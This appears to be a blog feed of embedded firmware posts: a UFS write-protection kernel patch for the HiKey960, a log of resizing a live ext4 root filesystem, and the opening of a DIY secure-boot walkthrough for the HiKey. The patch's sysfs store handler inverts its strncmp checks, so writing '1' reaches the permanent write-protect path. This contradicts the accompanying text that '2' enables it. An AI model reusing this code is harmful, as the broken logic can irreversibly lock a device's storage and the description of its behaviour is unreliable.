<span class="p">@@ -4350,7 +4381,8 @@</span> static int ufshcd_slave_alloc(struct scsi_device *sdev)
 
    ufshcd_set_queue_depth(sdev);
 
<span class="gd">- ufshcd_get_lu_power_on_wp_status(hba, sdev);
</span><span class="gi">+   ufshcd_get_lu_power_on_wp_status(hba,
+       ufshcd_scsi_to_upiu_lun(sdev-&gt;lun));
</span> 
    return 0;
 }
<span class="p">@@ -6391,6 +6423,9 @@</span> static int ufshcd_probe_hba(struct ufs_hba *hba)
        if (!ufshcd_query_flag_retry(hba, UPIU_QUERY_OPCODE_READ_FLAG,
                QUERY_FLAG_IDN_PWR_ON_WPE, &amp;flag))
            hba-&gt;dev_info.f_power_on_wp_en = flag;
<span class="gi">+       if (!ufshcd_query_flag_retry(hba, UPIU_QUERY_OPCODE_READ_FLAG,
+               QUERY_FLAG_IDN_PERMANENT_WPE, &amp;flag))
+           hba-&gt;dev_info.f_perm_wp_en = flag;
</span> 
        if (!hba-&gt;is_init_prefetch)
            ufshcd_init_icc_levels(hba);
<span class="p">@@ -7693,16 +7728,101 @@</span> static void ufshcd_add_spm_lvl_sysfs_nodes(struct ufs_hba *hba)
        dev_err(hba-&gt;dev, "Failed to create sysfs for spm_lvl\n");
 }
 
<span class="gi">+static ssize_t ufshcd_wp_show(struct device *dev,
+       struct device_attribute *attr, char *buf)
+{
+   struct ufs_hba *hba = dev_get_drvdata(dev);
+   int curr_len;
+   int state = 0;
+
+   if (hba-&gt;dev_info.f_perm_wp_en)
+       state = 2;
+   else if (hba-&gt;dev_info.f_power_on_wp_en)
+       state = 1;
+
+   curr_len = snprintf(buf, PAGE_SIZE, "%d\n", state);
+   return curr_len;
+}
+
+static ssize_t ufshcd_wp_store(struct device *dev,
+       struct device_attribute *attr, const char *buf, size_t count)
+{
+   struct ufs_hba *hba = dev_get_drvdata(dev);
+   unsigned long flags;
+   int ret = 0;
+
+   if (count != 1)
+       return -EINVAL;
+
+   spin_lock_irqsave(hba-&gt;host-&gt;host_lock, flags);
+   if (strncmp(buf, "1", 1))
+       ret = ufshcd_write_wp(hba, QUERY_FLAG_IDN_PWR_ON_WPE);
+   else if (strncmp(buf, "2", 1))
+       ret = ufshcd_write_wp(hba, QUERY_FLAG_IDN_PERMANENT_WPE);
+   else
+       ret = -EINVAL;
+   spin_unlock_irqrestore(hba-&gt;host-&gt;host_lock, flags);
+
+   return ret;
+}
+
+static void ufshcd_add_wp_sysfs_nodes(struct ufs_hba *hba)
+{
+   hba-&gt;wp_attr.show = ufshcd_wp_show;
+   hba-&gt;wp_attr.store = ufshcd_wp_store;
+   sysfs_attr_init(&amp;hba-&gt;wp_attr.attr);
+   hba-&gt;wp_attr.attr.name = "wp";
+   hba-&gt;wp_attr.attr.mode = 0644;
+   if (device_create_file(hba-&gt;dev, &amp;hba-&gt;wp_attr))
+       dev_err(hba-&gt;dev, "Failed to create sysfs for wp\n");
+}
+
</span> static inline void ufshcd_add_sysfs_nodes(struct ufs_hba *hba)
 {
    ufshcd_add_rpm_lvl_sysfs_nodes(hba);
    ufshcd_add_spm_lvl_sysfs_nodes(hba);
<span class="gi">+   ufshcd_add_wp_sysfs_nodes(hba);
</span> }
 
 static inline void ufshcd_remove_sysfs_nodes(struct ufs_hba *hba)
 {
    device_remove_file(hba-&gt;dev, &amp;hba-&gt;rpm_lvl_attr);
    device_remove_file(hba-&gt;dev, &amp;hba-&gt;spm_lvl_attr);
<span class="gi">+   device_remove_file(hba-&gt;dev, &amp;hba-&gt;wp_attr);
</span> }
 
 /**
<span class="gh">diff --git a/drivers/scsi/ufs/ufshcd.h b/drivers/scsi/ufs/ufshcd.h
index cdc8bd0..727a874 100644
</span><span class="gd">--- a/drivers/scsi/ufs/ufshcd.h
</span><span class="gi">+++ b/drivers/scsi/ufs/ufshcd.h
</span><span class="p">@@ -526,6 +526,9 @@</span> struct ufs_hba {
    enum ufs_pm_level spm_lvl;
    struct device_attribute rpm_lvl_attr;
    struct device_attribute spm_lvl_attr;
<span class="gi">+   struct device_attribute wp_attr;
+
</span>    int pm_op_in_progress;
 
    struct ufshcd_lrb *lrb;
</code></pre></div></div>

<p>Now you can enable the write protection:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="nt">-n</span> <span class="s1">'2'</span> | <span class="nb">sudo tee</span> /sys/devices/platform/soc/ff3b0000.ufs/wp
</code></pre></div></div>

<p>Meaning <code class="language-plaintext highlighter-rouge">fPermanentWPEn</code> will be enabled. No write-protection will occur, but now values of <code class="language-plaintext highlighter-rouge">0x2</code> written to Unit Descriptor’s <code class="language-plaintext highlighter-rouge">bLUWriteProtect</code> offset will make entire Logic Unit’s data write-protected permanently.</p>

<h2 id="how-to-create-a-root-of-trust-on-hikey960">How to create a Root of Trust on HiKey960</h2>

<p>I am referring to a do-it-yourself Root of Trust where no manufacture NDA or collaboration is required.</p>

<p>To allow this capability a change to the HiSilicon-provided, closed source, <code class="language-plaintext highlighter-rouge">xloader.bin</code> is needed. It will need the capability to boot <code class="language-plaintext highlighter-rouge">BL2</code> from a LUN that is not LUN3. If that capability exists then a Root of Trust can be created by permanent write-protecting LUN0 (where the <code class="language-plaintext highlighter-rouge">xloader</code> lives), and either LUN1 or LUN2, whichever contains <code class="language-plaintext highlighter-rouge">BL2</code>. This is because ARM-Trusted-Firmware’s BL2 for the HiKey960 contains a root public key used to verify FIP, which can live on the RW LUN3.</p>

<p>All of this assumes there is no software programmable way to cause <code class="language-plaintext highlighter-rouge">xloader</code> to boot from a different location.</p>]]></content><author><name></name></author><category term="hardware" /><category term="hikey" /><category term="secure-boot" /><category term="firmware" /><summary type="html"><![CDATA[In my previous post I gave an overview of basic “do it yourself” root-of-trust creation through MMC boot region write-protection. I used this on sample HiKey (original) devices to authenticate ARM-Trusted-Firmware code beyond BL2, authenticating the OPTEE OS and U-Boot as BL33. This post explores the same concept on a HiKey960. The 960 version has an onboard Universal Flash Storage (UFS) devices, the future of MMC, and much faster! UFS as a standard has existed since 2011, but seems only since 2017 they were generally obtainable. Support in Linux has experienced very-recent updates (4.15+). The unfortunate news is I have not found a way to implement an open-source/do-it-yourself Root of Trust on the HiKey960. I will explain why during this post, but this post will focus more on UFS write-protection.]]></summary></entry><entry><title type="html">Online filesystem or disk changes on embedded hardware</title><link href="https://theopolis.github.io/blog/2018/7/23/online-filesystem-or-disk-changes-on-embedded-hardware" rel="alternate" type="text/html" title="Online filesystem or disk changes on embedded hardware" /><published>2018-07-23T00:00:00+00:00</published><updated>2018-07-23T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2018/7/23/online-filesystem-or-disk-changes-on-embedded-hardware</id><content type="html" xml:base="https://theopolis.github.io/blog/2018/7/23/online-filesystem-or-disk-changes-on-embedded-hardware"><![CDATA[<p>This is a tiny log of my experience expanding an <code class="language-plaintext highlighter-rouge">ext4</code> filesystem on an embedded system that had no alternate boot option. This situation is very nuanced. If you are here because you need to make filesystem or disk changes your <em>best course of action is to boot from a LiveUSB/CD</em>.</p>

<p>I moved very fast when making theses changes. There may be an easier and more efficent method, if you know one, please reach out to me!</p>

<!--more-->

<p><strong>Goal: Unmount the root filesystem and make structural changes without rebooting.</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@linaro-alip:~# resize2fs /dev/mmcblk0p9 
resize2fs 1.42.12 (29-Aug-2014)
Filesystem at /dev/mmcblk0p9 is mounted on /; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 1
[   61.307874] EXT4-fs (mmcblk0p9): resizing filesystem from 819200 to 1757691 blocks
[   61.384709] EXT4-fs warning (device mmcblk0p9): reserve_backup_gdb:968: reserved block 192 not at offset 191
[   61.394945] EXT4-fs (mmcblk0p9): resized filesystem to 1757691
Performing an on-line resize of /dev/mmcblk0p9 to 1757691 (4k) blocks.
[   61.507789] EXT4-fs warning (device mmcblk0p9): ext4_group_add:1605: No reserved GDT blocks, can't resize
resize2fs: Operation not permitted While trying to add group #25
</code></pre></div></div>

<p>Here you can see my kernel messages and the <code class="language-plaintext highlighter-rouge">stderr</code> from <code class="language-plaintext highlighter-rouge">resize2fs</code>. This error may be common if you are building squashed images for flashing to SD/MMC media.</p>

<p>For context my system has 1G of DRAM and was running Debian, to pull this off about 400MB of unused DRAM was needed.</p>

<p><strong>Note: I was running as root on the serial console (e.g., <code class="language-plaintext highlighter-rouge">ttyAMA0</code>) for the embedded device.</strong></p>

<p><strong>Step 1</strong>: Create a DRAM-based basic root filesystem.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /tmp/tmproot
mount <span class="nt">-t</span> tmpfs none /tmp/tmproot
</code></pre></div></div>

<p>Now run <code class="language-plaintext highlighter-rouge">mount</code> and look for any non-root <code class="language-plaintext highlighter-rouge">/</code> mounts using your disk (if making disk changes). On my system <code class="language-plaintext highlighter-rouge">/boot/efi</code> was mounted, a <code class="language-plaintext highlighter-rouge">umount /boot/efi</code> did the trick.</p>

<p><strong>Step 2:</strong> Move needed tools into the temporary root.</p>

<p>Note that later on, several commands run in the temporary root complained about not having some shared libraries. The only application I needed was <code class="language-plaintext highlighter-rouge">resize2fs</code> and <code class="language-plaintext highlighter-rouge">fsck</code> so I sort of moved fast and broke some things (temporarily).</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">mkdir</span> /tmp/tmproot/<span class="o">{</span>proc,sys,dev,run,usr,var,tmp,oldroot<span class="o">}</span>
<span class="nb">cp</span> <span class="nt">-ax</span> /<span class="o">{</span>bin,etc,sbin,lib<span class="o">}</span> /tmp/tmproot/
<span class="nb">cp</span> <span class="nt">-ax</span> /usr/<span class="o">{</span>bin,sbin<span class="o">}</span> /tmp/tmproot/usr/
</code></pre></div></div>

<p><strong>Step 3:</strong> Mount pseudo-filesystems in the temporary root.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mount <span class="nt">--rbind</span> /proc /tmp/tmproot/proc
mount <span class="nt">--rbind</span> /dev /tmp/tmproot/dev
mount <span class="nt">--rbind</span> /sys /tmp/tmproot/sys
</code></pre></div></div>

<p><strong>Step 4:</strong> Remount the root filesystem readonly</p>

<p>The general guidance is to STOP as many <code class="language-plaintext highlighter-rouge">systemctl</code> (systemd) services as possible before this step. Close out remote sessions, stop as many things. In my experience after trying several times (n=4) this step always completed without complaining.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mount <span class="nt">-r</span> <span class="nt">-o</span> remount /
</code></pre></div></div>

<p><strong>Step 4:</strong> Pivot your root into the temporary root filesystem.</p>

<p>I encounted an error here (seen below) and the ‘fix’ was using the <code class="language-plaintext highlighter-rouge">--make-private</code> mount command.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@linaro-alip:/tmp# pivot_root /tmp/tmproot/ /tmp/tmproot/oldroot/
pivot_root: failed to change root from `/tmp/tmproot/' to `/tmp/tmproot/oldroot/': Invalid argument
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mount <span class="nt">--make-rprivate</span> /
pivot_root /tmp/tmproot/ /tmp/tmproot/oldroot/
</code></pre></div></div>

<p><strong>Step 5:</strong> Unmount previously mounted pseudo-filesystems</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for </span>i <span class="k">in </span>dev proc sys run<span class="p">;</span> <span class="k">do </span>mount <span class="nt">--move</span> /oldroot/<span class="nv">$i</span> /<span class="nv">$i</span><span class="p">;</span> <span class="k">done</span>
</code></pre></div></div>

<p><strong>Step 6:</strong> Stop services using the old readonly-mounted filesystem</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>telinit u
systemctl isolate default.target
</code></pre></div></div>

<p><strong>Step 7:</strong> Aggresively stop remaining process</p>

<p>I messed up a few times here. Mistakes resulted in losing my console/shell/etc and forced me to reboot. The goal is to run <code class="language-plaintext highlighter-rouge">fuser -vm /oldroot</code>, note the pids, then <code class="language-plaintext highlighter-rouge">kill PID</code> each of the PIDs.</p>

<p>Here is an example of the output in my situation and how I responded.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@linaro-alip:/# fuser -vm /oldroot
                     USER        PID ACCESS COMMAND
/oldroot:            root     kernel mount /oldroot
                     systemd-timesync   2370 ....m systemd-timesyn
                     messagebus   2433 ....m dbus-daemon
                     root       2507 ....m agetty
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">kill </span>2507
<span class="nb">kill </span>2433
<span class="nb">kill </span>2370
</code></pre></div></div>

<p><strong>Step 8:</strong> Finally unmount the old readonly-mounted root</p>

<p>The last command unmounts the root filesystem. You are then free to run whatever modifications needed. In this log I needed to filesystem-check and expand the filesystem to cover the entire partition.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>umount /oldroot/
resize2fs /dev/mmcblk0p9
e2fsck <span class="nt">-f</span> /dev/mmcblk0p9
</code></pre></div></div>

<h2 id="references">References</h2>

<p>Here is the list of documents I reviewed. Thank you to all of those who took the time to document their experience and explainations (they are more detailed than this log!)</p>

<ul>
  <li><a href="https://devops.profitbricks.com/tutorials/increase-the-size-of-a-linux-root-partition-without-rebooting/">https://devops.profitbricks.com/tutorials/increase-the-size-of-a-linux-root-partition-without-rebooting/</a></li>
  <li><a href="https://unix.stackexchange.com/questions/226872/how-to-shrink-root-filesystem-without-booting-a-livecd">https://unix.stackexchange.com/questions/226872/how-to-shrink-root-filesystem-without-booting-a-livecd</a></li>
  <li><a href="https://www.ivarch.com/blogs/oss/2007/01/resize-a-live-root-fs-a-howto.shtml">https://www.ivarch.com/blogs/oss/2007/01/resize-a-live-root-fs-a-howto.shtml</a></li>
  <li><a href="https://www.openattic.org/posts/how-to-shrink-root-filesystem-without-booting-a-livecd/">https://www.openattic.org/posts/how-to-shrink-root-filesystem-without-booting-a-livecd/</a> (very helpful!)</li>
</ul>]]></content><author><name></name></author><category term="embedded" /><category term="filesystem" /><summary type="html"><![CDATA[This is a tiny log of my experience expanding an ext4 filesystem on an embedded system that had no alternate boot option. This situation is very nuanced. If you are here because you need to make filesystem or disk changes your best course of action is to boot from a LiveUSB/CD. I moved very fast when making theses changes. There may be an easier and more efficent method, if you know one, please reach out to me!]]></summary></entry><entry><title type="html">DIY Root of Trust using ARM Trusted Firmware on the 96Boards Hikey</title><link href="https://theopolis.github.io/blog/2018/7/8/diy-root-of-trust-using-arm-trusted-firmware-on-the-96boards-hikey" rel="alternate" type="text/html" title="DIY Root of Trust using ARM Trusted Firmware on the 96Boards Hikey" /><published>2018-07-08T00:00:00+00:00</published><updated>2018-07-08T00:00:00+00:00</updated><id>https://theopolis.github.io/blog/2018/7/8/diy-root-of-trust-using-arm-trusted-firmware-on-the-96boards-hikey</id><content type="html" xml:base="https://theopolis.github.io/blog/2018/7/8/diy-root-of-trust-using-arm-trusted-firmware-on-the-96boards-hikey"><![CDATA[<p>This is a series of notes designed to be a walkthrough on how to configure the HiKey Kirin 620 to boot securely with ARM Trusted Firmware’s Trusted Board Boot. This does not use any proprietary settings or vendor-specific details about the SoC. Instead, the secure boot path relies on the SoC’s <code class="language-plaintext highlighter-rouge">BOOT_SEL</code> configured to boot solely from the eMMC. With this configuration there <strong>should</strong> be no way to interrupt or bypass the root of trust via runtime changes.</p>

<p>Pay special attention to the <strong>should</strong> as this is not speaking from authority but rather from suspicion and research.</p>

<p>The Root of Trust (ROT) begins in the <code class="language-plaintext highlighter-rouge">BL2</code> programmed to the eMMC’s <code class="language-plaintext highlighter-rouge">boot0</code> partition. The bootrom must execute the HiKey’s <code class="language-plaintext highlighter-rouge">l-loader.bin</code> and <a href="https://github.com/ARM-software/arm-trusted-firmware">ARM-Trusted-Firmware’s</a> (ATF) <code class="language-plaintext highlighter-rouge">bl2.bin</code> written to this alternate boot partition. The eMMC’s extended CSD register 173 (<code class="language-plaintext highlighter-rouge">BOOT_WP</code>) is written to permanent write-protect this content. This is a 1-time program operation that has the potential to brick the device.</p>

<!--more-->

<p>As a quick preview, here are the functions and features:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">BL2</code> (not <code class="language-plaintext highlighter-rouge">BL1</code> because HiKey skips <code class="language-plaintext highlighter-rouge">BL1</code>, <a href="https://github.com/ARM-software/arm-trusted-firmware/blob/master/plat/hisilicon/hikey/platform.mk#L11">see the ATF notes</a>) implementing a ROT.</li>
  <li>eMMC <code class="language-plaintext highlighter-rouge">boot0</code> and <code class="language-plaintext highlighter-rouge">boot1</code> partitions permanently hardware write-protected.</li>
  <li>ROT implemented as a SHA256 of an RSA2048 public key you control, written to hardware write-protected region.</li>
  <li>Chain of Trust implemented with ATF’s development <a href="https://github.com/ARM-software/arm-trusted-firmware/blob/master/docs/trusted-board-boot.rst">Trusted Board Boot (TBB) implementation</a>.</li>
  <li>Configurable and verified Secure OS, and Non-Trusted World Firmware, essentially <code class="language-plaintext highlighter-rouge">BL31</code>, <code class="language-plaintext highlighter-rouge">BL32</code>, <code class="language-plaintext highlighter-rouge">SCP_BL2</code>, and <code class="language-plaintext highlighter-rouge">BL3</code>.</li>
  <li>Non-Trusted World implemented with U-Boot, for now the last thing verified.</li>
</ul>

<p>Let’s start bottom up.</p>

<h2 id="dependencies">Dependencies</h2>

<p>I recommend going through a few <a href="https://www.96boards.org/documentation/consumer/hikey/getting-started/">HiKey tutorials</a> to become familiar with the flashing, recovery, and boot flows. This walkthrough will bootstrap many things, but if this is your entrypoint into HiKey development you may be lost by some references.</p>

<p>All of the following experimentation happens on a Ubuntu 16.04 host machine using an AARCH32 toolchain from apt and an AARCH64 toolchain from Linaro: <a href="https://releases.linaro.org/components/toolchain/binaries/7.2-2017.11/aarch64-linux-gnu/gcc-linaro-7.2.1-2017.11-i686_aarch64-linux-gnu.tar.xz">https://releases.linaro.org/components/toolchain/binaries/7.2-2017.11/aarch64-linux-gnu/gcc-linaro-7.2.1-2017.11-i686_aarch64-linux-gnu.tar.xz</a></p>

<h2 id="build-linux">Build Linux</h2>

<p>Use the recent build of Linux maintained by 96Boards for the HiKey SoC: <a href="https://github.com/96boards-hikey/linux">https://github.com/96boards-hikey/linux</a> and the branch <code class="language-plaintext highlighter-rouge">working-android-hikey-linaro-4.4</code>.</p>

<p>I found the following changes needed to boot from U-Boot.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">157,164c157
</span><span class="gd">&lt; CONFIG_BLK_DEV_INITRD=y
&lt; CONFIG_INITRAMFS_SOURCE=""
&lt; CONFIG_RD_GZIP=y
&lt; CONFIG_RD_BZIP2=y
&lt; CONFIG_RD_LZMA=y
&lt; CONFIG_RD_XZ=y
&lt; CONFIG_RD_LZO=y
&lt; CONFIG_RD_LZ4=y
</span><span class="p">---
</span><span class="gi">&gt; # CONFIG_BLK_DEV_INITRD is not set
</span><span class="p">464,465c457,458
</span><span class="gd">&lt; CONFIG_CMDLINE="console=ttyAMA0"
&lt; CONFIG_CMDLINE_FROM_BOOTLOADER=y
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_CMDLINE="console=ttyAMA3,115200n8 root=/dev/mmcblk0p9 rw"
&gt; # CONFIG_CMDLINE_FROM_BOOTLOADER is not set
</span><span class="p">467,470c460,461
</span><span class="gd">&lt; # CONFIG_CMDLINE_FORCE is not set
&lt; CONFIG_EFI_STUB=y
&lt; CONFIG_EFI=y
&lt; CONFIG_DMI=y
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_CMDLINE_FORCE=y
&gt; # CONFIG_EFI is not set
</span><span class="p">1063c1054,1055
</span><span class="gd">&lt; # CONFIG_DEVTMPFS is not set
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_DEVTMPFS=y
&gt; CONFIG_DEVTMPFS_MOUNT=y
</span><span class="p">1163c1155,1156
</span><span class="gd">&lt; # CONFIG_TIFM_CORE is not set
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_TIFM_CORE=y
&gt; CONFIG_TIFM_7XX1=y
</span><span class="p">1198c1191,1193
</span><span class="gd">&lt; # CONFIG_CB710_CORE is not set
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_CB710_CORE=y
&gt; # CONFIG_CB710_DEBUG is not set
&gt; CONFIG_CB710_DEBUG_ASSUMPTIONS=y
</span><span class="p">3479,3480c3474,3477
</span><span class="gd">&lt; # CONFIG_MMC_SDHCI_PCI is not set
&lt; # CONFIG_MMC_SDHCI_ACPI is not set
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_MMC_SDHCI_IO_ACCESSORS=y
&gt; CONFIG_MMC_SDHCI_PCI=y
&gt; CONFIG_MMC_RICOH_MMC=y
&gt; CONFIG_MMC_SDHCI_ACPI=y
</span><span class="p">3482,3485c3479,3482
</span><span class="gd">&lt; # CONFIG_MMC_SDHCI_OF_ARASAN is not set
&lt; # CONFIG_MMC_SDHCI_OF_AT91 is not set
&lt; # CONFIG_MMC_SDHCI_F_SDH30 is not set
&lt; # CONFIG_MMC_TIFM_SD is not set
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_MMC_SDHCI_OF_ARASAN=y
&gt; CONFIG_MMC_SDHCI_OF_AT91=y
&gt; CONFIG_MMC_SDHCI_F_SDH30=y
&gt; CONFIG_MMC_TIFM_SD=y
</span><span class="p">3487,3488c3484,3485
</span><span class="gd">&lt; # CONFIG_MMC_CB710 is not set
&lt; # CONFIG_MMC_VIA_SDMMC is not set
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_MMC_CB710=y
&gt; CONFIG_MMC_VIA_SDMMC=y
</span><span class="p">3493,3498c3490,3495
</span><span class="gd">&lt; # CONFIG_MMC_DW_PCI is not set
&lt; # CONFIG_MMC_VUB300 is not set
&lt; # CONFIG_MMC_USHC is not set
&lt; # CONFIG_MMC_USDHI6ROL0 is not set
&lt; # CONFIG_MMC_TOSHIBA_PCI is not set
&lt; # CONFIG_MMC_MTK is not set
</span><span class="p">---
</span><span class="gi">&gt; CONFIG_MMC_DW_PCI=y
&gt; CONFIG_MMC_VUB300=y
&gt; CONFIG_MMC_USHC=y
&gt; CONFIG_MMC_USDHI6ROL0=y
&gt; CONFIG_MMC_TOSHIBA_PCI=y
&gt; CONFIG_MMC_MTK=y
</span><span class="p">3524d3520
</span><span class="gd">&lt; # CONFIG_LEDS_INTEL_SS4200 is not set
</span><span class="p">3631d3626
</span><span class="gd">&lt; CONFIG_RTC_DRV_EFI=y
</span><span class="p">3882,3883d3876
</span><span class="gd">&lt; CONFIG_DMIID=y
&lt; # CONFIG_DMI_SYSFS is not set
</span><span class="p">3886,3896d3878
</span><span class="gd">&lt; 
&lt; #
&lt; # EFI (Extensible Firmware Interface) Support
&lt; #
&lt; CONFIG_EFI_VARS=y
&lt; CONFIG_EFI_ESRT=y
&lt; CONFIG_EFI_VARS_PSTORE=y
&lt; CONFIG_EFI_VARS_PSTORE_DEFAULT_DISABLE=y
&lt; CONFIG_EFI_PARAMS_FROM_FDT=y
&lt; CONFIG_EFI_RUNTIME_WRAPPERS=y
&lt; CONFIG_EFI_ARMSTUB=y
</span><span class="p">4005d3986
</span><span class="gd">&lt; CONFIG_EFIVAR_FS=y
</span><span class="p">4557,4562d4537
</span><span class="gd">&lt; CONFIG_DECOMPRESS_GZIP=y
&lt; CONFIG_DECOMPRESS_BZIP2=y
&lt; CONFIG_DECOMPRESS_LZMA=y
&lt; CONFIG_DECOMPRESS_XZ=y
&lt; CONFIG_DECOMPRESS_LZO=y
&lt; CONFIG_DECOMPRESS_LZ4=y
</span><span class="p">4585d4559
</span><span class="gd">&lt; CONFIG_UCS2_STRING=y
</span></code></pre></div></div>

<p>The goal of this configuration is to boot as simple as possible. No initial ramdisk is used and the arguments are set statically.</p>

<p>The commands used to build are as follows:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>make <span class="nv">ARCH</span><span class="o">=</span>arm64 <span class="nv">CROSS_COMPILE</span><span class="o">=</span>aarch64-linux-gnu- hikey_defconfig
<span class="nv">$ </span>make <span class="nv">ARCH</span><span class="o">=</span>arm64 <span class="nv">CROSS_COMPILE</span><span class="o">=</span>aarch64-linux-gnu- menuconfig
<span class="nv">$ </span>make <span class="nv">ARCH</span><span class="o">=</span>arm64 <span class="nv">CROSS_COMPILE</span><span class="o">=</span>aarch64-linux-gnu- <span class="nt">-j8</span> Image  hisilicon/hi6220-hikey.dtb
</code></pre></div></div>

<p>For these tests I was using the image built for the HiKey. If it is helpful, the kernel can be replaced using the following flow, assuming you are working in the clone of Linux.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>simg2img ./jessie.updated.img jessie.updated.fimg
<span class="nv">$ </span><span class="nb">sudo </span>mount <span class="nt">-o</span> loop ./jessie.updated.fimg ./jessie
<span class="nv">$ </span><span class="nb">sudo cp</span> ./arch/arm64/boot/dts/hisilicon/hi6220-hikey.dtb ../jessie/boot
<span class="nv">$ </span><span class="nb">sudo cp</span> ./arch/arm64/boot/Image ../jessie/boot
<span class="nv">$ </span><span class="nb">sudo </span>umount ./jessie
<span class="nv">$ </span>img2simg ./jessie.updated.fimg jessie.updated.simg
</code></pre></div></div>

<p>If you have a HiKey working, simply move the <code class="language-plaintext highlighter-rouge">hi6220-hikey.dtb</code> and <code class="language-plaintext highlighter-rouge">Image</code> to <code class="language-plaintext highlighter-rouge">/boot</code> on the board’s filesystem.</p>

<h2 id="build-u-boot-as-the-non-trusted-world-firmware">Build U-Boot as the non-trusted world firmware</h2>

<p>The use of U-Boot over UEFI is not required. I am more familiar with U-Boot and it can bootstrap Linux and a device tree easily. Later on it may be replaced with booting straight to Linux from ATF.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git clone https://github.com/trini/u-boot
<span class="nv">$ </span><span class="nb">cd </span>u-boot

<span class="nv">$ </span>make <span class="nv">O</span><span class="o">=</span>build_hikey hikey_defconfig
</code></pre></div></div>

<p>I simplified the <code class="language-plaintext highlighter-rouge">bootcommand</code> for easier debugging. This removes the default, flexible, U-Boot <code class="language-plaintext highlighter-rouge">bootcommand</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat</span> ./build_hikey/.config| <span class="nb">grep </span>BOOTCOMMAND
<span class="nv">CONFIG_USE_BOOTCOMMAND</span><span class="o">=</span>y
<span class="nv">CONFIG_BOOTCOMMAND</span><span class="o">=</span><span class="s2">"ext2load mmc 0:9 0x00080000 boot/Image; ext2load mmc 0:9 0x02000000 boot/hi6220-hikey.dtb; booti 0x00080000 - 0x02000000"</span>
</code></pre></div></div>

<p>The goal is to load only Linux and the device tree.</p>

<p>The following change is needed because Linux is uncompressed:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">index e789f68..bba2837 100644
</span><span class="gd">--- a/common/bootm.c
</span><span class="gi">+++ b/common/bootm.c
</span><span class="p">@@ -31,7 +31,7 @@</span>
 
 #ifndef CONFIG_SYS_BOOTM_LEN
 /* use 8MByte as default max gunzip size */
<span class="gd">-#define CONFIG_SYS_BOOTM_LEN   0x800000
</span><span class="gi">+#define CONFIG_SYS_BOOTM_LEN   0x8000000
</span> #endif
 
 #define IH_INITRD_ARCH IH_ARCH_DEFAULT
</code></pre></div></div>

<p>And to build U-Boot:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>make <span class="nv">O</span><span class="o">=</span>build_hikey <span class="nt">-j6</span>
<span class="o">[</span>...]
  LD      u-boot
  OBJCOPY u-boot.srec
  OBJCOPY u-boot-nodtb.bin
  SYM     u-boot.sym
  DTC     <span class="nb">arch</span>/arm/dts/hi6220-hikey.dtb
make[3]: <span class="s1">'arch/arm/dts/hi6220-hikey.dtb'</span> is up to date.
  SHIPPED dts/dt.dtb
  FDTGREP dts/dt-spl.dtb
  COPY    u-boot.dtb
  CAT     u-boot-dtb.bin
  COPY    u-boot.bin
  LD      u-boot.elf
  CFGCHK  u-boot.cfg
make[1]: Leaving directory <span class="s1">'./build_hikey'</span>
</code></pre></div></div>

<h2 id="build-op-tee-os">Build OP-TEE OS</h2>

<p>OP-TEE has plenty of documentation. We will rush through this and focus on building a <code class="language-plaintext highlighter-rouge">BL32</code> example only.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">mkdir </span>optee
<span class="nv">$ </span><span class="nb">cd </span>optee

<span class="nv">$ </span>git clone https://github.com/OP-TEE/optee_os
<span class="nv">$ </span>git clone https://github.com/OP-TEE/build

<span class="nv">$ </span><span class="nb">cd </span>build
<span class="nv">$ </span>make <span class="nt">-f</span> hikey.mk <span class="se">\</span>
  <span class="nv">DEBUG</span><span class="o">=</span>1 <span class="se">\</span>
  <span class="nv">AARCH64_CROSS_COMPILE</span><span class="o">=</span><span class="nv">$AARCH64_PATH</span>/bin/aarch64-linux-gnu- <span class="se">\</span>
  <span class="nv">AARCH32_CROSS_COMPILE</span><span class="o">=</span>arm-linux-gnueabihf- <span class="se">\</span>
  optee-os
</code></pre></div></div>

<h2 id="build-atf-without-trusted-board-boot">Build ATF without Trusted Board Boot</h2>

<p>This is a stepping stone to booting securely. It will provide a <code class="language-plaintext highlighter-rouge">BL1</code> to use in the recovery image as well as verify the ATF code can boot our non-trusted world firmware, U-Boot, and our Linux. We will build ATF again with TBB enabled soon.</p>

